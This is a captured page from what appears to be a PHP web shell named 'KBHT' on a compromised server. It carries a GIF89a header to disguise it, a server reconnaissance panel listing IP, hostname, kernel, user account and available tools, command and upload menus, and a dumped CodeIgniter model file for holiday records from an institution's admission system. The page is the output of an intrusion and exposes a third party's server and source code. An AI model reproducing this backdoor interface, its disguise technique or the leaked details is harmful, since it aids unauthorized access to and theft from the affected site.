GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.154.134
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/HolidayManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Holidays
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class HolidayManagement extends CI_Model {

    function createNewHoliday(array $newHolidayInfo) {
        $this->db->insert_batch('holiday_calender_mst', $newHolidayInfo);
        return $this->db->insert_id();
    }

    function getAllHolidays() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("holiday_calender_mst HCM");
        $this->db->join('tbl_session_master TSM', 'HCM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'HCM.hc_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'HCM.hc_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("HCM.hc_date", "ASC");
        return $this->db->get();
    }
    
    function getHolidayByNameAndDate($hc_name,$hc_date) {
        $this->db->select('*');
        $this->db->from('holiday_calender_mst');
        $this->db->where('hc_name', $hc_name);
        $this->db->where('hc_date', $hc_date);
        return $this->db->get();
    }

    function deleteHolidays($hc_id) {
        $this->db->where("hc_id", $hc_id);
        return $this->db->delete("holiday_calender_mst");
    }

}

KBHT - 2023